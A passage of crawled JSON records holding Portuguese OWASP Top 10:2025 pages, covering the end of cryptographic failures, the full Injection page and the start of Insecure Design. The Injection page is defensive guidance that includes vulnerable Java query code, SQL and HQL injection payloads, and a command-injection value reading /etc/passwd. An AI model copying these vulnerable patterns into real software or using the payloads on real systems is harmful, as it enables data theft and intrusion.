Uma falha de upload de arquivos permite que um **atacante** recupere o banco de dados de senhas. Todos os **hashes** sem sal podem ser expostos com uma *rainbow table* de **hashes** pré-calculados. **Hashes** gerados por funções simples ou rápidas podem ser quebrados por GPUs, mesmo que tenham sido salgados.\n\n## Referências\n\n- [OWASP Proactive Controls: C2: Use Cryptography to Protect Data](https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/)\n- [OWASP Application Security Verification Standard (ASVS):](https://owasp.org/www-project-application-security-verification-standard) [V11,](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x20-V11-Cryptography.md) [12,](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x21-V12-Secure-Communication.md) [14](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x23-V14-Data-Protection.md)\n- [OWASP Cheat Sheet: Transport Layer Protection](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: User Privacy Protection](https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Cryptographic Storage](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: HSTS](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n- [OWASP Testing Guide: Testing for weak cryptography](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README)\n- [ENISA: A Coordinated Implementation Roadmap for the Transition to Post-Quantum Cryptography](https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography)\n- [NIST Releases First 3 Finalized Post-Quantum Encryption Standards](https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards)\n\n## Lista de CWEs Mapeadas\n\n- [CWE-261 Weak Encoding for Password](https://cwe.mitre.org/data/definitions/261.html)\n- [CWE-296 Improper Following of a Certificate's Chain of Trust](https://cwe.mitre.org/data/definitions/296.html)\n- [CWE-319 Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)\n- [CWE-320 Key Management Errors (Prohibited)](https://cwe.mitre.org/data/definitions/320.html)\n- [CWE-321 Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html)\n- [CWE-322 Key Exchange without Entity Authentication](https://cwe.mitre.org/data/definitions/322.html)\n- [CWE-323 Reusing a Nonce, Key Pair in Encryption](https://cwe.mitre.org/data/definitions/323.html)\n- [CWE-324 Use of a Key Past its Expiration Date](https://cwe.mitre.org/data/definitions/324.html)\n- [CWE-325 Missing Required Cryptographic Step](https://cwe.mitre.org/data/definitions/325.html)\n- [CWE-326 Inadequate Encryption Strength](https://cwe.mitre.org/data/definitions/326.html)\n- [CWE-327 Use of a Broken or Risky Cryptographic Algorithm](https://cwe.mitre.org/data/definitions/327.html)\n- [CWE-328 Reversible One-Way Hash](https://cwe.mitre.org/data/definitions/328.html)\n- [CWE-329 Not Using a Random IV with CBC Mode](https://cwe.mitre.org/data/definitions/329.html)\n- [CWE-330 Use of Insufficiently Random Values](https://cwe.mitre.org/data/definitions/330.html)\n- [CWE-331 Insufficient Entropy](https://cwe.mitre.org/data/definitions/331.html)\n- [CWE-332 Insufficient Entropy in PRNG](https://cwe.mitre.org/data/definitions/332.html)\n- [CWE-334 Small Space of Random Values](https://cwe.mitre.org/data/definitions/334.html)\n- [CWE-335 Incorrect Usage of Seeds in Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/335.html)\n- [CWE-336 Same Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/336.html)\n- [CWE-337 Predictable Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/337.html)\n- [CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/338.html)\n- [CWE-340 Generation of Predictable Numbers or Identifiers](https://cwe.mitre.org/data/definitions/340.html)\n- [CWE-342 Predictable Exact Value from Previous Values](https://cwe.mitre.org/data/definitions/342.html)\n- [CWE-347 Improper Verification of Cryptographic Signature](https://cwe.mitre.org/data/definitions/347.html)\n- [CWE-523 Unprotected Transport of Credentials](https://cwe.mitre.org/data/definitions/523.html)\n- [CWE-757 Selection of Less-Secure Algorithm During Negotiation('Algorithm Downgrade')](https://cwe.mitre.org/data/definitions/757.html)\n- [CWE-759 Use of a One-Way Hash without a Salt](https://cwe.mitre.org/data/definitions/759.html)\n- [CWE-760 Use of a One-Way Hash with a Predictable Salt](https://cwe.mitre.org/data/definitions/760.html)\n- [CWE-780 Use of RSA Algorithm without OAEP](https://cwe.mitre.org/data/definitions/780.html)\n- [CWE-916 Use of Password Hash With Insufficient Computational Effort](https://cwe.mitre.org/data/definitions/916.html)\n- [CWE-1240 Use of a Cryptographic Primitive with a Risky Implementation](https://cwe.mitre.org/data/definitions/1240.html)\n- [CWE-1241 Use of Predictable Algorithm in Random Number Generator](https://cwe.mitre.org/data/definitions/1241.html)", "znaku_textu": 13571, "slov": 1648, "odkazu": 85, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:07", "sha256": "d2a5592fd484d198bda9d8ac446c0a40316d4d3c8113993deb1de4570f19712a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://en.wikipedia.org/wiki/Transport_layer", "https://en.wikipedia.org/wiki/OSI_model", "https://en.wikipedia.org/wiki/AES_instruction_set", "https://letsencrypt.org/", "https://en.wikipedia.org/wiki/Application_layer", "https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html", "https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x20-V11-Cryptography.md", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x21-V12-Secure-Communication.md", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x23-V14-Data-Protection.md", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html", "https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography", "https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards", "https://cwe.mitre.org/data/definitions/261.html", "https://cwe.mitre.org/data/definitions/296.html", "https://cwe.mitre.org/data/definitions/319.html", "https://cwe.mitre.org/data/definitions/320.html", "https://cwe.mitre.org/data/definitions/321.html", "https://cwe.mitre.org/data/definitions/322.html", "https://cwe.mitre.org/data/definitions/323.html", "https://cwe.mitre.org/data/definitions/324.html", "https://cwe.mitre.org/data/definitions/325.html", "https://cwe.mitre.org/data/definitions/326.html", "https://cwe.mitre.org/data/definitions/327.html", "https://cwe.mitre.org/data/definitions/328.html", "https://cwe.mitre.org/data/definitions/329.html", "https://cwe.mitre.org/data/definitions/330.html", "https://cwe.mitre.org/data/definitions/331.html", "https://cwe.mitre.org/data/definitions/332.html", "https://cwe.mitre.org/data/definitions/334.html", "https://cwe.mitre.org/data/definitions/335.html", "https://cwe.mitre.org/data/definitions/336.html", "https://cwe.mitre.org/data/definitions/337.html", "https://cwe.mitre.org/data/definitions/338.html", "https://cwe.mitre.org/data/definitions/340.html", "https://cwe.mitre.org/data/definitions/342.html", "https://cwe.mitre.org/data/definitions/347.html", "https://cwe.mitre.org/data/definitions/523.html", "https://cwe.mitre.org/data/definitions/757.html", "https://cwe.mitre.org/data/definitions/759.html", "https://cwe.mitre.org/data/definitions/760.html", "https://cwe.mitre.org/data/definitions/780.html", "https://cwe.mitre.org/data/definitions/916.html", "https://cwe.mitre.org/data/definitions/1240.html", "https://cwe.mitre.org/data/definitions/1241.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/A05_2025-Injection/", "titulek": "A05 Injeção - OWASP Top 10:2025", "h1": "A05:2025 Injeção", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/A05_2025-Injection/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A05:2025 Injeção"}, {"uroven": 2, "text": "Contexto"}, {"uroven": 2, "text": "Tabela de pontuação"}, {"uroven": 2, "text": "Descrição"}, {"uroven": 2, "text": "Como prevenir"}, {"uroven": 2, "text": "Exemplos de cenários de ataque"}, {"uroven": 2, "text": "Referências"}, {"uroven": 2, "text": "Lista de CWEs Mapeadas"}], "markdown": "# A05:2025 Injeção\n\n## Contexto\n\nA categoria Injeção caiu duas posições, passando de #3 para #5 no ranking, mantendo sua posição relativa a A04:2025-Falhas Criptográficas e A06:2025-Design Inseguro. Injeção é uma das categorias mais testadas, com 100% das aplicações testadas para alguma forma de injeção. Ela apresentou o maior número de CVEs entre todas as categorias, com 37 CWEs mapeadas. Injeção inclui *Cross-site Scripting* (alta frequência/baixo impacto), com mais de 30 mil CVEs, e *SQL Injection* (baixa frequência/alto impacto), com mais de 14 mil CVEs. O número massivo de CVEs relatados para a CWE-79 (*Improper Neutralization of Input During Web Page Generation* ou 'Cross-site Scripting') reduz o impacto ponderado médio desta categoria.\n\n## Tabela de pontuação\n\n| CWEs Mapeadas | Taxa Máx. de Incidência | Taxa Méd. de Incidência | Cobertura Máxima | Cobertura Média | Exploit Ponderado Médio | Impacto Ponderado Médio | Total de Ocorrências | Total de CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 37 | 13,77% | 3,08% | 100,00% | 42,93% | 7,15 | 4,32 | 1.404.249 | 62.445 |\n\n## Descrição\n\nUma vulnerabilidade de injeção é uma falha na aplicação que permite que a entrada de um usuário não confiável seja enviada para um interpretador (ex: um navegador, banco de dados, linha de comando) e faz com que o interpretador execute partes dessa entrada como comandos.\n\nUma aplicação é vulnerável a ataques quando:\n\n- Dados fornecidos pelo usuário não são validados, filtrados ou sanitizados pela aplicação.\n- Consultas dinâmicas ou chamadas não parametrizadas sem escape sensível ao contexto são usadas diretamente no interpretador.\n- Dados não sanitizados são usados em parâmetros de busca de mapeamento objeto-relacional (ORM) para extrair registros adicionais e sensíveis.\n- Dados potencialmente hostis são usados diretamente ou concatenados. O SQL ou comando contém a estrutura e os dados maliciosos em consultas dinâmicas, comandos ou procedimentos armazenados ( *stored procedures* ).\n\nAlgumas das injeções mais comuns são SQL, NoSQL, comandos de SO, Mapeamento Objeto-Relacional (ORM), LDAP e Expression Language (EL) ou Object Graph Navigation Library (OGNL). O conceito é idêntico entre todos os interpretadores. A detecção é melhor alcançada por uma combinação de revisão de código-fonte junto com testes automatizados (incluindo *fuzzing*) de todos os parâmetros, *headers*, URL, *cookies*, JSON, SOAP e entradas de dados XML. A adição de ferramentas de teste de segurança de aplicação estática (SAST), dinâmica (DAST) e interativa (IAST) no *pipeline* de CI/CD também pode ser útil para identificar falhas de injeção antes da implantação em produção.\n\nUma classe relacionada de vulnerabilidades de injeção tornou-se comum em LLMs. Estas são discutidas separadamente no [OWASP LLM Top 10](https://genai.owasp.org/llm-top-10/), especificamente em [LLM01:2025 Prompt Injection](https://genai.owasp.org/llmrisk/llm01-prompt-injection/).\n\n## Como prevenir\n\nA melhor maneira de prevenir a injeção requer manter os dados separados dos comandos e consultas:\n\n- A opção preferencial é usar uma API segura, que evita totalmente o uso do interpretador, fornece uma interface parametrizada ou migra para ferramentas de Mapeamento Objeto-Relacional (ORMs). **Nota:** Mesmo quando parametrizadas, as *stored procedures* ainda podem introduzir SQL Injection se o PL/SQL ou T-SQL concatenar consultas e dados ou executar dados hostis com `EXECUTE IMMEDIATE` ou `exec()` .\n\nQuando não for possível separar os dados dos comandos, você pode reduzir as ameaças usando as seguintes técnicas:\n\n- Use validação de entrada positiva no lado do servidor ( *allow-list* ). Esta não é uma defesa completa, pois muitas aplicações exigem caracteres especiais, como áreas de texto ou APIs para aplicações móveis.\n- Para qualquer consulta dinâmica residual, use escape de caracteres especiais usando a sintaxe de escape específica para aquele interpretador. **Nota:** Estruturas SQL, como nomes de tabelas, nomes de colunas e assim por diante, não podem sofrer escape e, portanto, nomes de estruturas fornecidos pelo usuário são perigosos. Este é um problema comum em softwares de geração de relatórios.\n\n**Aviso:** estas técnicas envolvem a análise (*parsing*) e o escape de strings complexas, o que as torna propensas a erros e pouco robustas diante de pequenas mudanças no sistema subjacente.\n\n## Exemplos de cenários de ataque\n\n**Cenário #1:** Uma aplicação usa dados não confiáveis na construção da seguinte chamada SQL vulnerável:\n\n```\nString query = \"SELECT * FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\";\n```\n\nUm atacante modifica o valor do parâmetro 'id' em seu navegador para enviar: `' OR '1'='1`. Por exemplo:\n\n```\nhttp://example.com/app/accountView?id=' OR '1'='1\n```\n\nIsso altera o significado da consulta para retornar todos os registros da tabela `accounts`. Ataques mais perigosos poderiam modificar ou excluir dados ou até mesmo invocar procedimentos armazenados.\n\n**Cenário #2:** A confiança cega de uma aplicação em *frameworks* pode resultar em consultas que ainda são vulneráveis. Por exemplo, em Hibernate Query Language (HQL):\n\n```\nQuery HQLQuery = session.createQuery(\"FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\");\n```\n\nUm atacante fornece: `' OR custID IS NOT NULL OR custID='`. Isso ignora o filtro e retorna todas as contas. Embora o HQL tenha menos funções perigosas do que o SQL puro, ele ainda permite o acesso não autorizado a dados quando a entrada do usuário é concatenada em consultas.\n\n**Cenário #3:** Uma aplicação passa a entrada do usuário diretamente para um comando do sistema operacional:\n\n```\nString cmd = \"nslookup \" + request.getParameter(\"domain\");\nRuntime.getRuntime().exec(cmd);\n```\n\nUm atacante fornece `example.com; cat /etc/passwd` para executar comandos arbitrários no servidor.\n\n## Referências\n\n- [OWASP Proactive Controls: Secure Database Access](https://owasp.org/www-project-proactive-controls/v3/en/c3-secure-database)\n- [OWASP ASVS: V5 Input Validation and Encoding](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: SQL Injection,](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection) [Command Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection) e [ORM Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.7-Testing_for_ORM_Injection)\n- [OWASP Cheat Sheet: Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: SQL Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Injection Prevention in Java](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html)\n- [OWASP Cheat Sheet: Query Parameterization](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n- [OWASP Automated Threats to Web Applications – OAT-014](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [PortSwigger: Server-side template injection](https://portswigger.net/kb/issues/00101080_serversidetemplateinjection)\n- [Awesome Fuzzing: a list of fuzzing resources](https://github.com/secfigo/Awesome-Fuzzing)\n\n## Lista de CWEs Mapeadas\n\n- [CWE-20 Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')](https://cwe.mitre.org/data/definitions/74.html)\n- [CWE-76 Improper Neutralization of Equivalent Special Elements](https://cwe.mitre.org/data/definitions/76.html)\n- [CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html)\n- [CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html)\n- [CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)](https://cwe.mitre.org/data/definitions/80.html)\n- [CWE-83 Improper Neutralization of Script in Attributes in a Web Page](https://cwe.mitre.org/data/definitions/83.html)\n- [CWE-86 Improper Neutralization of Invalid Characters in Identifiers in Web Pages](https://cwe.mitre.org/data/definitions/86.html)\n- [CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')](https://cwe.mitre.org/data/definitions/88.html)\n- [CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')](https://cwe.mitre.org/data/definitions/89.html)\n- [CWE-90 Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')](https://cwe.mitre.org/data/definitions/90.html)\n- [CWE-91 XML Injection (aka Blind XPath Injection)](https://cwe.mitre.org/data/definitions/91.html)\n- [CWE-93 Improper Neutralization of CRLF Sequences ('CRLF Injection')](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-94 Improper Control of Generation of Code ('Code Injection')](https://cwe.mitre.org/data/definitions/94.html)\n- [CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')](https://cwe.mitre.org/data/definitions/95.html)\n- [CWE-96 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')](https://cwe.mitre.org/data/definitions/96.html)\n- [CWE-97 Improper Neutralization of Server-Side Includes (SSI) Within a Web Page](https://cwe.mitre.org/data/definitions/97.html)\n- [CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')](https://cwe.mitre.org/data/definitions/98.html)\n- [CWE-99 Improper Control of Resource Identifiers ('Resource Injection')](https://cwe.mitre.org/data/definitions/99.html)\n- [CWE-103 Struts: Incomplete validate() Method Definition](https://cwe.mitre.org/data/definitions/103.html)\n- [CWE-104 Struts: Form Bean Does Not Extend Validation Class](https://cwe.mitre.org/data/definitions/104.html)\n- [CWE-112 Missing XML Validation](https://cwe.mitre.org/data/definitions/112.html)\n- [CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')](https://cwe.mitre.org/data/definitions/113.html)\n- [CWE-114 Process Control](https://cwe.mitre.org/data/definitions/114.html)\n- [CWE-115 Misinterpretation of Output](https://cwe.mitre.org/data/definitions/115.html)\n- [CWE-116 Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)\n- [CWE-129 Improper Validation of Array Index](https://cwe.mitre.org/data/definitions/129.html)\n- [CWE-159 Improper Handling of Invalid Use of Special Elements](https://cwe.mitre.org/data/definitions/159.html)\n- [CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')](https://cwe.mitre.org/data/definitions/470.html)\n- [CWE-493 Critical Public Variable Without Final Modifier](https://cwe.mitre.org/data/definitions/493.html)\n- [CWE-500 Public Static Field Not Marked Final](https://cwe.mitre.org/data/definitions/500.html)\n- [CWE-564 SQL Injection: Hibernate](https://cwe.mitre.org/data/definitions/564.html)\n- [CWE-610 Externally Controlled Reference to a Resource in Another Sphere](https://cwe.mitre.org/data/definitions/610.html)\n- [CWE-643 Improper Neutralization of Data within XPath Expressions ('XPath Injection')](https://cwe.mitre.org/data/definitions/643.html)\n- [CWE-644 Improper Neutralization of HTTP Headers for Scripting Syntax](https://cwe.mitre.org/data/definitions/644.html)\n- [CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')](https://cwe.mitre.org/data/definitions/917.html)", "znaku_textu": 11954, "slov": 1349, "odkazu": 86, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:08", "sha256": "c33db6b128adac20daf27215d813d0615a1051238e24e7cef77ebd7daa568d4d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://genai.owasp.org/llm-top-10/", "https://genai.owasp.org/llmrisk/llm01-prompt-injection/", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html", "https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html", "https://portswigger.net/kb/issues/00101080_serversidetemplateinjection", "https://github.com/secfigo/Awesome-Fuzzing", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/74.html", "https://cwe.mitre.org/data/definitions/76.html", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/78.html", "https://cwe.mitre.org/data/definitions/79.html", "https://cwe.mitre.org/data/definitions/80.html", "https://cwe.mitre.org/data/definitions/83.html", "https://cwe.mitre.org/data/definitions/86.html", "https://cwe.mitre.org/data/definitions/88.html", "https://cwe.mitre.org/data/definitions/89.html", "https://cwe.mitre.org/data/definitions/90.html", "https://cwe.mitre.org/data/definitions/91.html", "https://cwe.mitre.org/data/definitions/93.html", "https://cwe.mitre.org/data/definitions/94.html", "https://cwe.mitre.org/data/definitions/95.html", "https://cwe.mitre.org/data/definitions/96.html", "https://cwe.mitre.org/data/definitions/97.html", "https://cwe.mitre.org/data/definitions/98.html", "https://cwe.mitre.org/data/definitions/99.html", "https://cwe.mitre.org/data/definitions/103.html", "https://cwe.mitre.org/data/definitions/104.html", "https://cwe.mitre.org/data/definitions/112.html", "https://cwe.mitre.org/data/definitions/113.html", "https://cwe.mitre.org/data/definitions/114.html", "https://cwe.mitre.org/data/definitions/115.html", "https://cwe.mitre.org/data/definitions/116.html", "https://cwe.mitre.org/data/definitions/129.html", "https://cwe.mitre.org/data/definitions/159.html", "https://cwe.mitre.org/data/definitions/470.html", "https://cwe.mitre.org/data/definitions/493.html", "https://cwe.mitre.org/data/definitions/500.html", "https://cwe.mitre.org/data/definitions/564.html", "https://cwe.mitre.org/data/definitions/610.html", "https://cwe.mitre.org/data/definitions/643.html", "https://cwe.mitre.org/data/definitions/644.html", "https://cwe.mitre.org/data/definitions/917.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/A06_2025-Insecure_Design/", "titulek": "A06 Design Inseguro - OWASP Top 10:2025", "h1": "A06:2025 Design Inseguro", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/A06_2025-Insecure_Design/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A06:2025 Design Inseguro"}, {"uroven": 2, "text": "Contexto"}, {"uroven": 2, "text": "Tabela de pontuação"}, {"uroven": 2, "text": "Descrição"}, {"uroven": 3, "text": "Requisitos e Gerenciamento de Recursos"}, {"uroven": 3, "text": "Design Seguro"}, {"uroven": 3, "text": "Ciclo de Vida de Desenvolvimento Seguro"}, {"uroven": 2, "text": "Como prevenir"}, {"uroven": 2, "text": "Exemplos de cenários de ataque"}, {"uroven": 2, "text": "Referências"}, {"uroven": 2, "text": "Lista de CWEs Mapeadas"}], "markdown": "# A06:2025 Design Inseguro\n\n## Contexto\n\nO Design Inseguro caiu duas posições, passando de #4 para #6 no ranking, sendo ultrapassado por **[A02:2025-Configuração Insegura](../A02_2025-Security_Misconfiguration/)** e **[A03:2025-Falhas na Cadeia de Suprimentos de Software](../A03_2025-Software_Supply_Chain_Failures/)**. Esta categoria foi introduzida em 2021 e temos observado melhorias notáveis na indústria em relação à modelagem de ameaças e uma maior ênfase em design seguro. Esta categoria foca em riscos relacionados a falhas de design e arquitetura, com um apelo para o maior uso de modelagem de ameaças, padrões de design seguro (*secure design patterns*) e arquiteturas de referência. Isso inclui falhas na lógica de negócio de uma aplicação, por exemplo, a falta de definição de mudanças de estado indesejadas ou inesperadas dentro de uma aplicação. Como comunidade, precisamos ir além do \"shift-left\" no espaço da codificação para atividades pré-código, como a escrita de requisitos e o design da aplicação, que são críticos para os princípios de *Secure by Design* (veja, por exemplo, **[Estabelecendo um Programa de AppSec Moderno: Fase de Planejamento e Design](../0x03_2025-Establishing_a_Modern_Application_Security_Program/)**). Enumerações de Fraquezas Comuns (CWEs) notáveis incluem *CWE-256: Armazenamento Não Protegido de Credenciais, CWE-269 Gerenciamento Inadequado de Privilégios, CWE-434 Upload Irrestrito de Arquivo com Tipo Perigoso, CWE-501: Violação de Limite de Confiança e CWE-522: Credenciais Protegidas de Forma Insuficiente.*\n\n## Tabela de pontuação\n\n| CWEs Mapeadas | Taxa Máx. de Incidência | Taxa Méd. de Incidência | Cobertura Máxima | Cobertura Média | Exploit Ponderado Médio | Impacto Ponderado Médio | Total de Ocorrências | Total de CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 39 | 22,18% | 1,86% | 88,76% | 35,18% | 6,96 | 4,05 | 729.882 | 7.647 |\n\n## Descrição\n\nO design inseguro é uma categoria ampla que representa diferentes fraquezas, expressas como \"design de controle ausente ou ineficaz\". O design inseguro não é a origem de todas as outras categorias de risco do Top Ten. Observe que existe uma diferença entre design inseguro e implementação insegura. Diferenciamos falhas de design de defeitos de implementação por um motivo: eles possuem causas raízes diferentes, ocorrem em momentos diferentes do processo de desenvolvimento e possuem remediações distintas. Um design seguro ainda pode apresentar defeitos de implementação que levam a vulnerabilidades passíveis de exploração. Já um design inseguro não pode ser corrigido por uma implementação perfeita, uma vez que os controles de segurança necessários para defender contra ataques específicos nunca foram criados. Um dos fatores que contribui para o design inseguro é a falta de perfil de risco de negócio (*business risk profiling*) inerente ao software ou sistema sendo desenvolvido e, consequentemente, a falha em determinar qual nível de design de segurança é necessário.\n\nTrês partes fundamentais para ter um design seguro são:\n\n- Coleta de Requisitos e Gerenciamento de Recursos\n- Criação de um Design Seguro\n- Manutenção de um Ciclo de Vida de Desenvolvimento Seguro (SDLC)\n\n### Requisitos e Gerenciamento de Recursos\n\nColete e negocie os requisitos de negócio para uma aplicação com as partes interessadas, incluindo os requisitos de proteção relativos à confidencialidade, integridade, disponibilidade e autenticidade de todos os ativos de dados e a lógica de negócio esperada. Leve em conta o quão exposta sua aplicação estará e se você precisa de segregação de instâncias (*tenants*) — além daquelas necessárias para o controle de acesso. Compile os requisitos técnicos, incluindo requisitos de segurança funcionais e não funcionais. Planeje e negocie o orçamento cobrindo todo o design, construção, testes e operação, incluindo atividades de segurança.\n\n### Design Seguro\n\nO design seguro é uma cultura e metodologia que avalia constantemente as ameaças e garante que o código seja projetado e testado de forma robusta para prevenir métodos de ataque conhecidos. A modelagem de ameaças deve ser integrada às sessões de refinamento (ou atividades similares); busque por mudanças nos fluxos de dados e no controle de acesso ou outros controles de segurança. No desenvolvimento da *user story*, determine o fluxo correto e os estados de falha, garantindo que sejam bem compreendidos e acordados pelas partes responsáveis e impactadas. Analise suposições e condições para fluxos esperados e de falha para garantir que permaneçam precisos e desejáveis. Determine como validar as suposições e impor as condições necessárias para comportamentos adequados. Garanta que os resultados sejam documentados na *user story*. Aprenda com os erros e ofereça incentivos positivos para promover melhorias. O design seguro não é um acessório nem uma ferramenta que você possa adicionar ao software.\n\n### Ciclo de Vida de Desenvolvimento Seguro\n\nSoftware seguro exige um ciclo de vida de desenvolvimento seguro, um padrão de design seguro, uma metodologia de \"estrada pavimentada\" (*paved road*), uma biblioteca de componentes seguros, ferramentas apropriadas, modelagem de ameaças e pós-mortems de incidentes que sejam usados para melhorar o processo. Entre em contato com seus especialistas em segurança no início de um projeto de software, ao longo de todo o projeto e para a manutenção contínua do software. Considere utilizar o [OWASP Software Assurance Maturity Model (SAMM)](https://owaspsamm.org/) para ajudar a estruturar seus esforços de desenvolvimento de software seguro.\n\nFrequentemente, a autorresponsabilidade dos desenvolvedores é subestimada. Promova uma cultura de conscientização, responsabilidade e mitigação proativa de riscos. Trocas regulares sobre segurança (ex: durante sessões de modelagem de ameaças) podem gerar uma mentalidade para incluir a segurança em todas as decisões importantes de design.\n\n## Como prevenir\n\n- Estabeleça e utilize um ciclo de vida de desenvolvimento seguro com profissionais de AppSec para ajudar a avaliar e projetar controles relacionados à segurança e privacidade.\n- Estabeleça e utilize uma biblioteca de padrões de design seguro ou componentes de \"estrada pavimentada\" ( *paved road* ).\n- Utilize a modelagem de ameaças para partes críticas da aplicação, como autenticação, controle de acesso, lógica de negócio e fluxos principais.\n- Utilize a modelagem de ameaças como uma ferramenta educacional para gerar uma mentalidade de segurança.\n- Integre linguagem e controles de segurança nas *user stories* .\n- Integre verificações de plausibilidade em cada camada da sua aplicação (do frontend ao backend).\n- Escreva testes de unidade e integração para validar que todos os 